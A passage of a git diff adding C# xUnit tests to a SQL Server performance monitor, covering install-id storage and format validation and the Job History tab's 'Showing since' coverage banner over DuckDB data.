+        clock = clock.AddSeconds(2);
+        Assert.Equal("0123abcd", store.GetId());
+        Assert.Equal(2, store.ResolveCount);
+        Assert.Null(store.Failure);
+
+        Assert.Equal("0123abcd", store.GetId());
+        Assert.Equal(2, store.ResolveCount);
+    }
+
+    /// <summary>
+    /// A new id reaches the final path only by a move from a temp file, so a crash between the write and the move leaves
+    /// no file there, and the next start finds a first start rather than a half-written file to replace.
+    /// </summary>
+    [Fact]
+    public void ACrashBetweenTheWriteAndTheMove_LeavesNoFileAtTheFinalPath()
+    {
+        var dir = NewDir();
+        var store = StoreFor(dir);
+        string[] atTheCrash = [];
+        string? folderAtTheCrash = null;
+        store.BeforeMove = () =>
+        {
+            atTheCrash = FilesIn(dir);
+            folderAtTheCrash = NewDir("crash");
+            foreach (var file in Directory.GetFiles(dir))
+            {
+                File.Copy(file, Path.Combine(folderAtTheCrash, Path.GetFileName(file)));
+            }
+
+            throw new IOException("the process ended here");
+        };
+        AppLogger.DrainBufferedLines();
+
+        Assert.Null(store.GetId());
+
+        var temp = Assert.Single(atTheCrash);
+        Assert.StartsWith(InstallIdStore.FileName + ".", temp, StringComparison.Ordinal);
+        Assert.EndsWith(".tmp", temp, StringComparison.Ordinal);
+        Assert.False(File.Exists(IdFile(dir)), "an id was saved");
+
+        /* The next start, from what the crash left on disk: no final file, so a first start, not a replacement. */
+        Assert.NotNull(folderAtTheCrash);
+        Assert.False(File.Exists(IdFile(folderAtTheCrash)));
+        AppLogger.DrainBufferedLines();
+        var next = StoreFor(folderAtTheCrash).GetId();
+        Assert.True(InstallId.IsValid(next), $"made '{next}'");
+        Assert.Equal(next, ReadFile(folderAtTheCrash).Id);
+        Assert.Empty(Warnings(AppLogger.DrainBufferedLines()));
+    }
+
+    /// <summary>
+    /// The production wiring builds the store from the real machine name and the real Windows user, so the binding
+    /// it writes is something that can differ: not an empty string that every machine would share.
+    /// </summary>
+    [Fact]
+    public void ForCurrentUser_BindsTheFileToThisMachineAndWindowsUser()
+    {
+        var dir = NewDir();
+
+        var id = InstallIdStore.ForCurrentUser(dir).GetId();
+
+        var (fileId, machine, sid) = ReadFile(dir);
+        Assert.Equal(id, fileId);
+        Assert.Equal(Environment.MachineName, machine);
+        Assert.StartsWith("S-1-", sid, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The collection service reaches the id through the store it was handed, on first use rather than at
+    /// construction: nothing is made on disk until a collector asks, and every ask gets the same id.
+    /// </summary>
+    [Fact]
+    public void TheCollectorService_ResolvesTheIdLazilyThroughItsStore()
+    {
+        var dir = NewDir();
+        var configDir = Path.Combine(dir, "config");
+        Directory.CreateDirectory(configDir);
+        var store = StoreFor(dir);
+        using var duckDb = new DuckDbInitializer(Path.Combine(dir, "t.duckdb"));
+        var service = new RemoteCollectorService(
+            duckDb,
+            new ServerManager(configDir),
+            new ScheduleManager(configDir),
+            logger: null,
+            installIdStore: store);
+
+        Assert.False(File.Exists(IdFile(dir)), "the id was made before any collector asked for it");
+
+        var first = service.GetInstallId();
+        var second = service.GetInstallId();
+
+        Assert.True(InstallId.IsValid(first), $"made '{first}'");
+        Assert.Equal(first, second);
+        Assert.Equal(store.GetId(), first);
+        Assert.Equal(1, store.ResolveCount);
+    }
+
+    /// <summary>A service built without a store (a test host) has no id to give, and says so rather than inventing one.</summary>
+    [Fact]
+    public void TheCollectorService_WithoutAStore_HasNoId()
+    {
+        var dir = NewDir();
+        using var duckDb = new DuckDbInitializer(Path.Combine(dir, "t.duckdb"));
+        var service = new RemoteCollectorService(
+            duckDb,
+            new ServerManager(dir),
+            new ScheduleManager(dir));
+
+        Assert.Null(service.GetInstallId());
+    }
+
+    /// <summary>
+    /// The wiring that actually builds the store at startup: <c>MainWindow_Loaded</c> hands the collection service
+    /// a store for the data root. A store nothing builds is an id nothing can reach, and only the wiring can regress.
+    /// </summary>
+    [Fact]
+    public void MainWindow_HandsTheCollectorServiceAStoreForTheDataRoot()
+    {
+        var source = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "MainWindow.xaml.cs"));
+
+        var at = source.IndexOf("_collectorService = new RemoteCollectorService(", StringComparison.Ordinal);
+        Assert.True(at >= 0, "MainWindow builds the collection service");
+        var end = source.IndexOf(");", at, StringComparison.Ordinal);
+        var call = source[at..end];
+
+        Assert.Contains("InstallIdStore.ForCurrentUser(App.DataDirectory)", call, StringComparison.Ordinal);
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+}
diff --git a/Lite.Tests/InstallIdTests.cs b/Lite.Tests/InstallIdTests.cs
new file mode 100644
index 0000000000..ff54434d14
--- /dev/null
+++ b/Lite.Tests/InstallIdTests.cs
@@ -0,0 +1,91 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using PerformanceMonitor.Collectors;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #4961: the install id is the part of an Extended Events session name that tells one install's sessions from
+/// another's, so its FORMAT is a contract: exactly eight lowercase hex digits, checked on every load. The
+/// lowercase rule matters on a case-sensitive server collation, where an id read back in a different case would
+/// name a different session than the one it made. Both products share the helper, so these pin it once.
+/// </summary>
+public sealed class InstallIdTests
+{
+    [Theory]
+    [InlineData("00000000")]
+    [InlineData("deadbeef")]
+    [InlineData("0123abcd")]
+    [InlineData("ffffffff")]
+    public void IsValid_AcceptsExactlyEightLowercaseHexDigits(string id) =>
+        Assert.True(InstallId.IsValid(id));
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("deadbee")]
+    [InlineData("deadbeef0")]
+    [InlineData("DEADBEEF")]
+    [InlineData("deadBEEF")]
+    [InlineData("deadbeeg")]
+    [InlineData(" deadbeef")]
+    [InlineData("deadbeef ")]
+    [InlineData("dead beef")]
+    [InlineData("deadbe\0f")]
+    public void IsValid_RejectsAnythingElse(string? id) =>
+        Assert.False(InstallId.IsValid(id));
+
+    /// <summary>
+    /// A trailing newline is what a pattern anchored with <c>$</c> lets through, and a file read back with its
+    /// line ending is the likeliest way one arrives; the id is then no longer the eight characters the session
+    /// name was built from.
+    /// </summary>
+    [Fact]
+    public void IsValid_RejectsATrailingLineEnding()
+    {
+        Assert.False(InstallId.IsValid("deadbeef\n"));
+        Assert.False(InstallId.IsValid("deadbeef\r\n"));
+    }
+
+    /// <summary>
+    /// <c>char.IsDigit</c> is true for the digits of other scripts, and an ordinal range check on letters is not
+    /// the same as <c>char.IsLetter</c>; neither is hex. A lazy check built from them would take these.
+    /// </summary>
+    [Fact]
+    public void IsValid_RejectsDigitsAndLettersFromOtherScripts()
+    {
+        Assert.False(InstallId.IsValid("\u0660\u0661\u0662\u0663\u0664\u0665\u0666\u0667"));
+        Assert.False(InstallId.IsValid("\uFF44\uFF45\uFF41\uFF44\uFF42\uFF45\uFF45\uFF46"));
+    }
+
+    [Fact]
+    public void NewId_IsAlwaysValid()
+    {
+        for (var i = 0; i < 500; i++)
+        {
+            var id = InstallId.NewId();
+            Assert.True(InstallId.IsValid(id), $"NewId made '{id}', which is not eight lowercase hex digits");
+        }
+    }
+
+    /// <summary>
+    /// Not constant and not a counter in disguise: 64 draws from 32 bits collide on more than four pairs with a
+    /// probability far below one in a billion, so this cannot flake, and a fixed value cannot pass it.
+    /// </summary>
+    [Fact]
+    public void NewId_IsRandom()
+    {
+        var ids = Enumerable.Range(0, 64).Select(_ => InstallId.NewId()).ToHashSet(StringComparer.Ordinal);
+
+        Assert.True(ids.Count >= 60, $"64 draws made only {ids.Count} distinct ids");
+    }
+}
diff --git a/Lite.Tests/JobHistoryDataStartTests.cs b/Lite.Tests/JobHistoryDataStartTests.cs
new file mode 100644
index 0000000000..ce1461e029
--- /dev/null
+++ b/Lite.Tests/JobHistoryDataStartTests.cs
@@ -0,0 +1,637 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4966: the "Showing since" note of the Job History tab. The grid lists runs by the time each ran, and a server's first
+/// collection copies the history msdb already holds, so a run can sit long before the collection that stored it. The note names
+/// the earlier of the collector's coverage (the later of the first collection and the purge edge, from the shared probe over
+/// <see cref="QueryWindowRelation.JobHistory"/>) and the earliest run the read returned, the way the Darling viewer's twin does.
+/// A full page of the newest 2,000 runs names its oldest run, strictly, with no slack. A range of 90 minutes or less makes no
+/// probe call, and a probe that fails shows no note and never costs the grid its rows.
+///
+/// <para>Most tests read real rows from DuckDB (the start overload of <see cref="LocalDataService.GetJobHistoryAsync(DateTime, int, int?, IReadOnlyDictionary{int, ServerClock}?)"/>),
+/// ask the real probe (<see cref="LocalDataService.GetJobHistoryDataStartAsync"/>) and run the tab's real banner step
+/// (<see cref="JobHistoryTab.ShowJobHistoryDataStartAsync"/>) on the answer. The step takes the probe's answer already completed:
+/// a WPF banner is written on the thread that built it, and an answer that has completed keeps the continuation on that thread.
+/// Each server's runs are stored on its own wall clock (a collected fixed offset), so the frame of every note is checked: one
+/// server's note reads on that server's clock, as the Run Time column prints it, and the All Servers note reads in UTC and says so.</para>
+/// </summary>
+public sealed class JobHistoryDataStartTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const int ServerA = 701;
+    private const int ServerB = 702;
+    private const int OffsetA = 300;
+    private const int OffsetB = -300;
+    private const string Format = "yyyy-MM-dd HH:mm:ss";
+
+    private readonly DuckDbInitializer _duckDb;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 1;
+
+    /// <summary>The window's end, to the second: every seeded time hangs off it.</summary>
+    private readonly DateTime _end = Whole(DateTime.UtcNow);
+
+    public JobHistoryDataStartTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    public void Dispose() => _seedConn?.Dispose();
+
+    /// <summary>The default range of the tab's picker that matters here: seven days.</summary>
+    private DateTime Start => _end.AddDays(-7);
+
+    private static DateTime Whole(DateTime t) => new(t.Year, t.Month, t.Day, t.Hour, t.Minute, t.Second, DateTimeKind.Unspecified);
+
+    /// <summary>The server's wall clock at <paramref name="utc"/> for a fixed offset, to the second, the way sysjobhistory stores a run.</summary>
+    private static DateTime Wall(DateTime utc, int offsetMinutes) => Whole(utc.AddMinutes(offsetMinutes));
+
+    private static string Since(DateTime utc, int offsetMinutes) => "Showing since " + Wall(utc, offsetMinutes).ToString(Format, CultureInfo.InvariantCulture);
+
+    private static string SinceUtc(DateTime utc) => "Showing since " + Whole(utc).ToString(Format, CultureInfo.InvariantCulture) + " UTC";
+
+    // ── Seeding ──
+
+    private async Task<DuckDBConnection> SeedConnectionAsync()
+    {
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+
+        return _seedConn;
+    }
+
+    /// <summary>One collected clock for the server: a fixed offset, no zone id.</summary>
+    private async Task SeedClockAsync(int serverId, int offsetMinutes)
+    {
+        var connection = await SeedConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"INSERT INTO server_properties
+            (collection_id, collection_time, server_id, server_name,
+             edition, product_version, product_level, engine_edition,
+             cpu_count, hyperthread_ratio, physical_memory_mb, utc_offset_minutes, time_zone_id)
+            VALUES ($1, $2, $3, 'TestSrv', 'Developer Edition', '16.0.4150.1', 'RTM', 3, 8, 1, 16384, $4, NULL)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = -_nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = _end });
+        cmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = offsetMinutes });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>One successful step-0 outcome that ran at <paramref name="runUtc"/> (stored on the server's wall clock) and that a
+    /// collection stored at <paramref name="collectedUtc"/>.</summary>
+    private async Task SeedRunAsync(int serverId, int offsetMinutes, DateTime runUtc, DateTime collectedUtc)
+    {
+        var connection = await SeedConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO job_history
+    (job_history_id, collection_time, server_id, server_name, instance_id, job_id, job_name,
+     job_enabled, category_name, step_id, step_name, run_status, run_status_desc, run_datetime,
+     run_duration_seconds, retries_attempted, message)
+VALUES
+    ($1, $2, $3, $4, $5, $6, $7, TRUE, 'Uncategorized (Local)', 0, '(Job outcome)', 1, 'The job succeeded.', $8, 30, 0, NULL)";
+        var id = _nextId++;
+        cmd.Parameters.Add(new DuckDBParameter { Value = id });
+        cmd.Parameters.Add(new DuckDBParameter { Value = collectedUtc });
+        cmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = $"S{serverId}" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = id });
+        cmd.Parameters.Add(new DuckDBParameter { Value = $"job_{id}" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = $"job_{id}" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Wall(runUtc, offsetMinutes) });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>
+    /// <paramref name="count"/> runs a minute apart, the newest at <paramref name="newestRunUtc"/>, all stored by one collection at
+    /// <paramref name="collectedUtc"/>: one statement, since a full page is 2,000 rows.
+    /// </summary>
+    private async Task SeedPageAsync(int serverId, int offsetMinutes, int count, DateTime newestRunUtc, DateTime collectedUtc)
+    {
+        var connection = await SeedConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO job_history
+    (job_history_id, collection_time, server_id, server_name, instance_id, job_id, job_name,
+     job_enabled, category_name, step_id, step_name, run_status, run_status_desc, run_datetime,
+     run_duration_seconds, retries_attempted, message)
+SELECT $1 + g.n, $2, $3, $4, $1 + g.n, 'job_' || CAST(g.n % 20 AS VARCHAR), 'job_' || CAST(g.n % 20 AS VARCHAR), TRUE, 'Uncategorized (Local)', 0, '(Job outcome)', 1,
+       'The job succeeded.', $5::TIMESTAMP - to_minutes(CAST(g.n AS INTEGER)), 30, 0, NULL
+FROM generate_series(0, $6 - 1) AS g(n)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = collectedUtc });
+        cmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = $"S{serverId}" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Wall(newestRunUtc, offsetMinutes) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = count });
+        await cmd.ExecuteNonQueryAsync();
+        _nextId += count;
+    }
+
+    /// <summary>A logged run of the job_history collector: the coverage the probe counts when no row sits near the window's start.</summary>
+    private async Task SeedCollectorRunAsync(int serverId, DateTime at)
+    {
+        var connection = await SeedConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+VALUES ($1, $2, $3, 'job_history', $4, 12, 'SUCCESS', 0)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = $"S{serverId}" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = at });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    // ── Running the read, the probe and the tab's step ──
+
+    /// <summary>
+    /// What the tab shows for the server (or, with <paramref name="serverId"/> null, for all servers): the real start-overload read,
+    /// the real probe over <paramref name="asked"/>, then the tab's real banner step in the frame the tab words it in. The note's
+    /// text, or null when the banner is hidden, and the number of rows the read returned.
+    /// </summary>
+    private async Task<(string? Note, int Rows)> NoteAsync(int? serverId, params int[] servers)
+    {
+        /* The service reads the All Servers set itself; `servers` names who the test expects to be asked and is not passed in. */
+        _ = servers;
+        var service = new LocalDataService(_duckDb);
+        var (read, clocks) = await service.GetJobHistoryWithClocksAsync(Start, JobHistoryTab.RowCap, serverId);
+        var floor = await service.GetJobHistoryDataStartAsync(serverId, Start, _end);
+        var zone = serverId is int id ? clocks[id].AsTimeZone() : TimeZoneInfo.Utc;
+
+        return (BannerText(() => Task.FromResult(floor), Start, _end, read, zone, inUtc: serverId is null), read.Count);
+    }
+
+    /// <summary>The banner the tab's step leaves for these inputs, read off the control: its text, or null when it is hidden. Seeded
+    /// visible with stale text, so a step that writes nothing cannot pass as a hidden banner.</summary>
+    private static string? BannerText(
+        Func<Task<DateTime?>> probe, DateTime startUtc, DateTime endUtc, IReadOnlyCollection<JobHistoryRow> read, TimeZoneInfo zone, bool inUtc)
+    {
+        return StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock { Visibility = System.Windows.Visibility.Visible, Text = "stale" };
+            JobHistoryTab.ShowJobHistoryDataStartAsync(banner, probe, startUtc, endUtc, read, zone, inUtc).GetAwaiter().GetResult();
+            return banner.Visibility == System.Windows.Visibility.Visible ? banner.Text : null;
+        });
+    }
+
+    private static List<JobHistoryRow> FakePage(DateTime oldestUtc, int count) =>
+        Enumerable.Range(0, count).Select(i => new JobHistoryRow { RunDateTimeUtc = oldestUtc.AddMinutes(i) }).ToList();
+
+    // ── The cap and the relation ──
+
+    [Fact]
+    public void TheCap_IsThe2000TheReadTakes_AndTheNoteStepGetsTheSameConstant()
+    {
+        Assert.Equal(2000, JobHistoryTab.RowCap);
+
+        var tab = StripComments(File.ReadAllText(RepoFile("Lite", "Controls", "JobHistoryTab.xaml.cs")).Replace("\r\n", "\n"));
+        Assert.Single(Regex.Matches(tab, @"GetJobHistoryWithClocksAsync\(startUtc, RowCap, serverId, openTabClocks, rangeEndUtc\)"));
+        Assert.Single(Regex.Matches(tab, @"ServerTab\.CappedGridBannerAsync\(runTimes, RowCap,"));
+    }
+
+    [Fact]
+    public void TheProbe_ReadsTheJobHistoryView_OnCollectionTime_WithTheCollectorsRunsAsCoverage()
+    {
+        Assert.Equal("v_job_history", LocalDataService.QueryWindowRelationView(QueryWindowRelation.JobHistory));
+        Assert.Equal("job_history", LocalDataService.QueryWindowRelationCollector(QueryWindowRelation.JobHistory));
+        Assert.Equal("collection_time", LocalDataService.QueryWindowRelationTimeColumn(QueryWindowRelation.JobHistory));
+        Assert.False(LocalDataService.QueryWindowRelationTimeIsServerLocal(QueryWindowRelation.JobHistory));
+    }
+
+    // ── What the note says ──
+
+    /// <summary>The range reaches before the coverage: the collector was added 3 days ago, in a 7-day range, and its first run
+    /// came 6 hours after that. The note names the coverage start, on the server's own clock.</summary>
+    [Fact]
+    public async Task ARangePastTheCoverage_NamesTheCoverageStart()
+    {
+        await SeedClockAsync(ServerA, OffsetA);
+        var firstCollection = _end.AddDays(-3);
+        await SeedCollectorRunAsync(ServerA, firstCollection);
+        await SeedRunAsync(ServerA, OffsetA, firstCollection.AddHours(6), firstCollection.AddHours(6).AddMinutes(2));
+        await SeedRunAsync(ServerA, OffsetA, _end.AddHours(-1), _end.AddMinutes(-58));
+
+        var (note, rows) = await NoteAsync(ServerA, ServerA);
+
+        Assert.Equal(2, rows);
+        Assert.Equal(Since(firstCollection, OffsetA), note);
+    }
+
+    /// <summary>A quiet start: the collector covered the whole range and the first run came 5 hours in. No note, whether what proves
+    /// the coverage is an older logged run of the collector or an older stored row.</summary>
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task AQuietStart_ShowsNoNote(bool anOlderRowProvesIt)
+    {
+        await SeedClockAsync(ServerA, OffsetA);
+        if (anOlderRowProvesIt)
+        {
+            await SeedRunAsync(ServerA, OffsetA, Start.AddDays(-10), Start.AddDays(-10));
+        }
+        else
+        {
+            await SeedCollectorRunAsync(ServerA, Start.AddDays(-10));
+        }
+
+        await SeedRunAsync(ServerA, OffsetA, Start.AddHours(5), Start.AddHours(5).AddMinutes(2));
+
+        var (note, rows) = await NoteAsync(ServerA, ServerA);
+
+        Assert.Equal(1, rows);
+        Assert.Null(note);
+    }
+
+    /// <summary>
+    /// Job history is an event surface: the first collection, 3 days into the range, copied a run that ran 5 days into it, 2 days
+    /// BEFORE the collection. The coverage starts at the collection, but the grid shows a run from before it, so the note names that
+    /// run's time, to the second, never a time later than a run on the screen.
+    /// </summary>
+    [Fact]
+    public async Task ARunStampedBeforeTheFirstCollection_IsTheTimeNamed()
+    {
+        await SeedClockAsync(ServerA, OffsetA);
+        var firstCollection = _end.AddDays(-3);
+        var copiedRun = _end.AddDays(-5).AddSeconds(-37);
+        await SeedCollectorRunAsync(ServerA, firstCollection);
+        await SeedRunAsync(ServerA, OffsetA, copiedRun, firstCollection);
+        await SeedRunAsync(ServerA, OffsetA, firstCollection.AddHours(6), firstCollection.AddHours(6).AddMinutes(2));
+
+        var (note, rows) = await NoteAsync(ServerA, ServerA);
+
+        Assert.Equal(2, rows);
+        Assert.Equal(Since(copiedRun, OffsetA), note);
+    }
+
+    /// <summary>The same history, but the copied run sits inside the 90-minute slack of the range's start: the note stays hidden.</summary>
+    [Fact]
+    public async Task ACopiedRunWithinTheSlackOfTheStart_ShowsNoNote()
+    {
+        await SeedClockAsync(ServerA, OffsetA);
+        var firstCollection = _end.AddDays(-3);
+        await SeedCollectorRunAsync(ServerA, firstCollection);
+        await SeedRunAsync(ServerA, OffsetA, Start.AddMinutes(30), firstCollection);
+
+        // The coverage starts 4 days after the range does, but the earliest run shown is 30 minutes after it: the note would name that
+        // run, and 30 minutes is inside the 90-minute slack.
+        var (note, rows) = await NoteAsync(ServerA, ServerA);
+
+        Assert.Equal(1, rows);
+        Assert.Null(note);
+    }
+
+    // ── The cap ──
+
+    /// <summary>
+    /// A full page of the newest 2,000 runs names its oldest run, whatever the store covers (the collector has run for a month, so the
+    /// probe would say covered), and the probe is never asked. A page one row short is judged by the probe, which finds the range
+    /// covered: no note. The oldest run is named to the second, on the server's own clock.
+    /// </summary>
+    [Fact]
+    public async Task AFullPage_NamesItsOldestRun_AndAPageOneRowShortDoesNot()
+    {
+        await SeedClockAsync(ServerA, OffsetA);
+        await SeedClockAsync(ServerB, OffsetB);
+        var collectedLongAgo = Start.AddDays(-30);
+        await SeedCollectorRunAsync(ServerA, collectedLongAgo);
+        await SeedCollectorRunAsync(ServerB, collectedLongAgo);
+        await SeedCollectorRunAsync(ServerA, _end.AddMinutes(-5));
+        await SeedCollectorRunAsync(ServerB, _end.AddMinutes(-5));
+        await SeedPageAsync(ServerA, OffsetA, JobHistoryTab.RowCap, _end.AddMinutes(-1), collectedLongAgo);
+        await SeedPageAsync(ServerB, OffsetB, JobHistoryTab.RowCap - 1, _end.AddMinutes(-1), collectedLongAgo);
+
+        var full = await NoteAsync(ServerA, ServerA);
+        var oneShort = await NoteAsync(ServerB, ServerB);
+
+        Assert.Equal(JobHistoryTab.RowCap, full.Rows);
+        Assert.Equal(Since(_end.AddMinutes(-1 - (JobHistoryTab.RowCap - 1)), OffsetA), full.Note);
+        Assert.Equal(JobHistoryTab.RowCap - 1, oneShort.Rows);
+        Assert.Null(oneShort.Note);
+    }
+
+    /// <summary>A full page asks no probe at all: its reach is its oldest row.</summary>
+    [Fact]
+    public void AFullPage_NeedsNoProbe()
+    {
+        var calls = 0;
+        var oldest = Start.AddHours(8);
+
+        var note = BannerText(() => { calls++; return Task.FromResult<DateTime?>(Start); }, Start, _end, FakePage(oldest, JobHistoryTab.RowCap), TimeZoneInfo.Utc, inUtc: false);
+
+        Assert.Equal(0, calls);
+        Assert.Equal("Showing since " + Whole(oldest).ToString(Format, CultureInfo.InvariantCulture), note);
+    }
+
+    /// <summary>
+    /// The cap rule has no slack, and is strict: the probe's 90-minute slack absorbs a first collection a little after the range
+    /// starts, but a full page dropped runs for certain. An oldest run 10 minutes after the start names it; one AT the start does
+    /// not; and a page one row short with the same oldest run is the probe's to judge (a coverage that reaches the start shows nothing).
+    /// </summary>
+    [Fact]
+    public void AFullPage_HasNoSlack_AndTheComparisonIsStrict()
+    {
+        var oldest = Start.AddMinutes(10);
+        Func<Task<DateTime?>> covered = () => Task.FromResult<DateTime?>(Start);
+
+        Assert.Equal("Showing since " + Whole(oldest).ToString(Format, CultureInfo.InvariantCulture),
+            BannerText(covered, Start, _end, FakePage(oldest, JobHistoryTab.RowCap), TimeZoneInfo.Utc, inUtc: false));
+        Assert.Null(BannerText(covered, Start, _end, FakePage(Start, JobHistoryTab.RowCap), TimeZoneInfo.Utc, inUtc: false));
+        Assert.Null(BannerText(covered, Start, _end, FakePage(oldest, JobHistoryTab.RowCap - 1), TimeZoneInfo.Utc, inUtc: false));
+    }
+
+    // ── A probe that fails, and a range too short to probe ──
+
+    /// <summary>A probe that throws shows no note and the step does not throw, and the rows are the read's own: the read does not depend on the probe.</summary>
+    [Fact]
+    public async Task AProbeThatThrows_ShowsNoNote_AndTheRowsStillLoad()
+    {
+        await SeedClockAsync(ServerA, OffsetA);
+        await SeedRunAsync(ServerA, OffsetA, _end.AddHours(-2), _end.AddHours(-2));
+        var read = await new LocalDataService(_duckDb).GetJobHistoryAsync(Start, JobHistoryTab.RowCap, ServerA);
+
+        string? faulted = BannerText(() => Task.FromException<DateTime?>(new InvalidOperationException("probe failed")), Start, _end, read, TimeZoneInfo.Utc, inUtc: false);
+        string? thrown = BannerText(() => throw new InvalidOperationException("probe failed"), Start, _end, read, TimeZoneInfo.Utc, inUtc: false);
+
+        Assert.Single(read);
+        Assert.Null(faulted);
+        Assert.Null(thrown);
+    }
+
+    /// <summary>A range of 90 minutes or less can never get a coverage note, so the probe is not called for it (60 and 90); 91 calls it once.</summary>
+    [Theory]
+    [InlineData(60, 0)]
+    [InlineData(90, 0)]
+    [InlineData(91, 1)]
+    public void ARangeNoLongerThanTheSlack_MakesNoProbeCall(int minutes, int expectedCalls)
+    {
+        var calls = 0;
+        var start = _end.AddMinutes(-minutes);
+
+        var note = BannerText(() => { calls++; return Task.FromResult<DateTime?>(_end); }, start, _end, [], TimeZoneInfo.Utc, inUtc: false);
+
+        Assert.Equal(expectedCalls, calls);
+        if (expectedCalls == 0)
+        {
+            Assert.Null(note);
+        }
+    }
+
+    /// <summary>A superseded load writes nothing: the newer load owns the banner.</summary>
+    [Fact]
+    public void ASupersededLoad_WritesNoNote()
+    {
+        var note = StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock { Visibility = System.Windows.Visibility.Collapsed, Text = "newer" };
+            JobHistoryTab.ShowJobHistoryDataStartAsync(
+                banner, () => Task.FromResult<DateTime?>(_end.AddDays(-1)), Start, _end, [], TimeZoneInfo.Utc, inUtc: false, superseded: () => true).GetAwaiter().GetResult();
+            return (banner.Visibility, banner.Text);
+        });
+
+        Assert.Equal(System.Windows.Visibility.Collapsed, note.Visibility);
+        Assert.Equal("newer", note.Text);
+    }
+
+    // ── The frame and the All Servers view ──
+
+    /// <summary>
+    /// Two servers on different clocks, one in a 7-day range. One server's note reads on THAT server's wall clock (A is 5 hours ahead
+    /// of UTC) and carries no zone name, like the Run Time column beside it. The All Servers note reads in UTC and says so, because
+    /// the rows beside it sit on different servers' clocks, and it names the EARLIEST coverage among the servers the Server combo
+    /// lists: B's collection came 5 days ago, A's 3.
+    /// </summary>
+    [Fact]
+    public async Task OneServerReadsOnItsOwnClock_AndAllServersReadInUtc_AtTheEarliestCoverage()
+    {
+        await SeedClockAsync(ServerA, OffsetA);
+        await SeedClockAsync(ServerB, OffsetB);
+        var firstA = _end.AddDays(-3);
+        var firstB = _end.AddDays(-5);
+        await SeedCollectorRunAsync(ServerA, firstA);
+        await SeedCollectorRunAsync(ServerB, firstB);
+        await SeedRunAsync(ServerA, OffsetA, firstA.AddHours(6), firstA.AddHours(6).AddMinutes(2));
+        await SeedRunAsync(ServerB, OffsetB, firstB.AddHours(6), firstB.AddHours(6).AddMinutes(2));
+
+        var oneA = await NoteAsync(ServerA, ServerA);
+        var oneB = await NoteAsync(ServerB, ServerB);
+        var all = await NoteAsync(null, ServerA, ServerB);
+
+        Assert.Equal(Since(firstA, OffsetA), oneA.Note);
+        Assert.Equal(Since(firstB, OffsetB), oneB.Note);
+        Assert.Equal(SinceUtc(firstB), all.Note);
+        Assert.Equal(2, all.Rows);
+        Assert.DoesNotContain("UTC", oneA.Note, StringComparison.Ordinal);
+    }
+
+    /// <summary>The All Servers note reads the viewer's server set in the service: a covered server with only logged collector runs
+    /// (no job rows) is asked, so its coverage hides the note although the only server with job rows began 2 days ago.</summary>
+    [Fact]
+    public async Task AllServers_ReadsTheServerSetItself_AServerWithOnlyCollectorRuns_HidesTheNote()
+    {
+        await SeedClockAsync(ServerA, OffsetA);
+        await SeedClockAsync(ServerB, OffsetB);
+        await SeedCollectorRunAsync(ServerA, Start.AddDays(-20));
